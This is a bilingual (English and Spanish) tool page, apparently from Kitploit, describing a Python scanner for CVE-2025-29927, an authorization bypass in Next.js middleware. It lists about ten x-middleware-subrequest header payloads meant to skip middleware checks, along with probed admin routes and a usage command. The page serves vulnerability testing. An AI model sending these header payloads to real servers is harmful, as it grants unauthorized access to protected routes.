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CVE-2025-29927_Scanner — Este script verifica la vulnerabilidad CVE-2025-29927 en servidores Next.js, probando múltiples cargas en la cabecera x-middleware-subrequest para detectar accesos no autorizados. | Kitploit
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GitHubaleongx/cve-2025-29927_scanner

CVE-2025-29927_Scanner

Este script verifica la vulnerabilidad CVE-2025-29927 en servidores Next.js, probando múltiples cargas en la cabecera x-middleware-subrequest para detectar accesos no autorizados.

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CVE-2025-29927 Checker

📌 Introduction

This script checks for the CVE-2025-29927 vulnerability in Next.js servers by testing multiple payloads in the x-middleware-subrequest header to detect unauthorized access.

❓ What is CVE-2025-29927?

CVE-2025-29927 is a vulnerability that allows security restrictions in Next.js to be bypassed, granting access to sensitive routes without authentication.

⚙️ How the Script Works

🔹 1. Importing Libraries

The script uses:

🛠️ argparse - for argument handling.

🌐 requests - to send HTTP requests.

⏳ time - for pauses between tests.

🎨 colorama - to format console output with colors.

🔹 2. Payload List

The script tests multiple payloads in x-middleware-subrequest, designed to bypass security restrictions. Example:

root@kitploit:~
"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:middleware:middleware:pages/_middleware",
"src/middleware:nowaf:middleware:middleware:middleware:middleware:pages/_middleware",
"middleware:nowaf:src/middleware:middleware:middleware:pages/_middleware",
"nowaf:middleware:src/middleware:middleware:middleware:pages/_middleware",
"src/middleware:nowaf:src/middleware:middleware:middleware:middleware:pages/_middleware",
"middleware:middleware:middleware:nowaf:src/middleware:pages/_middleware",
"middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware",
"nowaf:middleware:middleware:middleware:middleware:middleware:pages/_middleware",
"src/middleware:middleware:middleware:nowaf:middleware:pages/_middleware",
"src/middleware:middleware:middleware:middleware:nowaf:middleware:pages/_middleware"

🔹 3. Sensitive Routes

The script analyzes responses for paths such as:

/admin, /dashboard, /settings, /private, /config

🔹 4. Scanning Process

✅ Displays a banner in the console.✅ Sends HTTP requests with different payloads.✅ Checks if the server uses Next.js.✅ Detects access to sensitive routes and reports vulnerabilities.

🔹 5. Error Handling

The script handles exceptions to prevent interruptions due to connection failures.

🚀 Usage Example

Run the script with:

python script.py -t https://example.com/api/auth

📢 Disclaimer

This tool is for ethical testing and authorized use only. Unauthorized use against third-party systems is illegal.

===================ESPAÑOL===================

CVE-2025-29927 Checker

📌 Introducción

Este script verifica la vulnerabilidad CVE-2025-29927 en servidores Next.js, probando múltiples payloads en el encabezado x-middleware-subrequest para detectar accesos no autorizados.

❓ ¿Qué es CVE-2025-29927?

CVE-2025-29927 es una vulnerabilidad que permite eludir restricciones de seguridad en Next.js, otorgando acceso a rutas sensibles sin autenticación.

⚙️ Cómo Funciona el Script

🔹 1. Importación de Librerías

El script utiliza:

🛠️ argparse - para el manejo de argumentos.

🌐 requests - para enviar solicitudes HTTP.

⏳ time - para pausas entre pruebas.

🎨 colorama - para formatear la salida en la consola con colores.

🔹 2. Lista de Payloads

El script prueba múltiples payloads en x-middleware-subrequest, diseñados para evadir restricciones de seguridad. Ejemplo:

root@kitploit:~
"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:middleware:middleware:pages/_middleware",
"src/middleware:nowaf:middleware:middleware:middleware:middleware:pages/_middleware",
"middleware:nowaf:src/middleware:middleware:middleware:pages/_middleware",
"nowaf:middleware:src/middleware:middleware:middleware:pages/_middleware",
"src/middleware:nowaf:src/middleware:middleware:middleware:middleware:pages/_middleware",
"middleware:middleware:middleware:nowaf:src/middleware:pages/_middleware",
"middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware",
"nowaf:middleware:middleware:middleware:middleware:middleware:pages/_middleware",
"src/middleware:middleware:middleware:nowaf:middleware:pages/_middleware",
"src/middleware:middleware:middleware:middleware:nowaf:middleware:pages/_middleware"

🔹 3. Rutas Sensibles

El script analiza las respuestas en busca de rutas como:

/admin, /dashboard, /settings, /private, /config

🔹 4. Proceso de Escaneo

✅ Muestra un banner en la consola.✅ Envía solicitudes HTTP con diferentes payloads.✅ Verifica si el servidor usa Next.js.✅ Detecta accesos a rutas sensibles e informa vulnerabilidades.

🔹 5. Manejo de Errores

El script maneja excepciones para evitar interrupciones debido a fallos de conexión.

🚀 Ejemplo de Uso

Ejecutar el script con:

python script.py -t https://example.com/api/auth

📢 Aviso Legal

Esta herramienta es para pruebas éticas y uso autorizado únicamente. El uso no autorizado en sistemas de terceros es ilegal.

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